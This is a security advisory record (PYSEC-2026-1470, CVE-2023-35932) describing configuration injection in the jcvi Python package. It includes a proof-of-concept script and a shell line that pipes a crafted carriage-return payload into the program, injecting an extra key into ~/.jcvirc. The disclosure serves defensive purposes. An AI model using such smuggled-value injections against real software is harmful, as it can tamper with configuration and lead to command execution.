id: PYSEC-2026-1470 published: "2026-07-07T11:45:19.233547Z" modified: "2026-07-07T17:24:21.869959Z" aliases: - CVE-2023-35932 - GHSA-x49m-3cw7-gq5q summary: "jcvi vulnerable to Configuration Injection due to unsanitized user input " details: "### Summary\nA configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.\n\n### PoC\n\nThe vulnerable code snippet is [/jcvi/apps/base.py#LL2227C1-L2228C41](https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41). Under some circumstances a user input is retrieved and stored within the `fullpath` variable which reaches the configuration file `~/.jcvirc`.\n\n```python\n fullpath = input(msg).strip()\n config.set(PATH, name, fullpath)\n```\n\nI ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the `getpath()` function under some circumstances.\n\n```python\nfrom configparser import (\n ConfigParser,\n RawConfigParser,\n NoOptionError,\n NoSectionError,\n ParsingError,\n)\n\nimport errno\nimport os\nimport sys\nimport os.path as op\nimport shutil\nimport signal\nimport sys\nimport logging\n\n\ndef is_exe(fpath):\n return op.isfile(fpath) and os.access(fpath, os.X_OK)\n\n\ndef which(program):\n \"\"\"\n Emulates the unix which command.\n\n >>> which(\"cat\")\n \"/bin/cat\"\n >>> which(\"nosuchprogram\")\n \"\"\"\n fpath, fname = op.split(program)\n if fpath:\n if is_exe(program):\n return program\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n exe_file = op.join(path, program)\n if is_exe(exe_file):\n return exe_file\n\n return None\n\n\ndef getpath(cmd, name=None, url=None, cfg=\"~/.jcvirc\", warn=\"exit\"):\n \"\"\"\n Get install locations of common binaries\n First, check ~/.jcvirc file to get the full path\n If not present, ask on the console and store\n \"\"\"\n p = which(cmd) # if in PATH, just returns it\n if p:\n return p\n\n PATH = \"Path\"\n config = RawConfigParser()\n cfg = op.expanduser(cfg)\n changed = False\n if op.exists(cfg):\n config.read(cfg)\n\n assert name is not None, \"Need a program name\"\n\n try:\n fullpath = config.get(PATH, name)\n except NoSectionError:\n config.add_section(PATH)\n changed = True\n\n try:\n fullpath = config.get(PATH, name)\n except NoOptionError:\n msg = \"=== Configure path for {0} ===\\n\".format(name, cfg)\n if url:\n msg += \"URL: {0}\\n\".format(url)\n msg += \"[Directory that contains `{0}`]: \".format(cmd)\n fullpath = input(msg).strip()\n config.set(PATH, name, fullpath)\n changed = True\n\n path = op.join(op.expanduser(fullpath), cmd)\n if warn == \"exit\":\n try:\n assert is_exe(path), \"***ERROR: Cannot execute binary `{0}`. \".format(path)\n except AssertionError as e:\n sys.exit(\"{0!s}Please verify and rerun.\".format(e))\n\n if changed:\n configfile = open(cfg, \"w\")\n config.write(configfile)\n logging.debug(\"Configuration written to `{0}`.\".format(cfg))\n\n return path\n\n\n# Call to getpath\npath = getpath(\"not-part-of-path\", name=\"CLUSTALW2\", warn=\"warn\")\nprint(path)\n\n```\n\nTo run the PoC, you need to remove the config file `~/.jcvirc` to emulate the first run, \n\n```bash\n# Run the PoC with the payload\necho -e \"e\\rvvvvvvvv = zzzzzzzz\\n\" | python3 poc.py\n```\n\n![image](https://user-images.githubusercontent.com/13036531/247852364-f8a384a3-fc62-41ca-b467-877d197ac6ff.png)\n\nYou can notice the random key/value characters `vvvvvvvv = zzzzzzzz` were successfully injected.\n\n### Impact\n\nThe impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.\n" affected: - package: name: jcvi ecosystem: PyPI purl: pkg:pypi/jcvi ranges: - type: ECOSYSTEM events: - introduced: "0" - last_affected: 1.3.5 versions: - 0.4.10 - 0.4.12 - 0.4.7 - 0.4.8 - 0.4.9 - 0.5.1 - 0.5.3 - 0.5.5 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.1 - 0.6.2 - 0.6.6 - 0.6.9 - 0.7.1 - 0.7.3 - 0.7.5 - 0.7.7 - 0.8.12 - 0.8.4 - 0.9.11 - 0.9.12 - 0.9.13 - 0.9.14 - 1.0.1 - 1.0.10 - 1.0.13 - 1.0.14 - 1.0.3 - 1.0.5 - 1.0.6 - 1.0.8 - 1.0.9 - 1.1.11 - 1.1.12 - 1.1.15 - 1.1.17 - 1.1.18 - 1.1.21 - 1.1.23 - 1.1.7 - 1.1.8 - 1.2.1 - 1.2.10 - 1.2.12 - 1.2.14 - 1.2.20 - 1.2.7 - 1.2.9 - 1.3.3 - 1.3.4 - 1.3.5 references: - type: WEB url: https://github.com/tanghaibao/jcvi/security/advisories/GHSA-x49m-3cw7-gq5q - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2023-35932 - type: PACKAGE url: https://github.com/tanghaibao/jcvi - type: WEB url: "https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41" - type: PACKAGE url: https://pypi.org/project/jcvi - type: ADVISORY url: https://github.com/advisories/GHSA-x49m-3cw7-gq5q severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L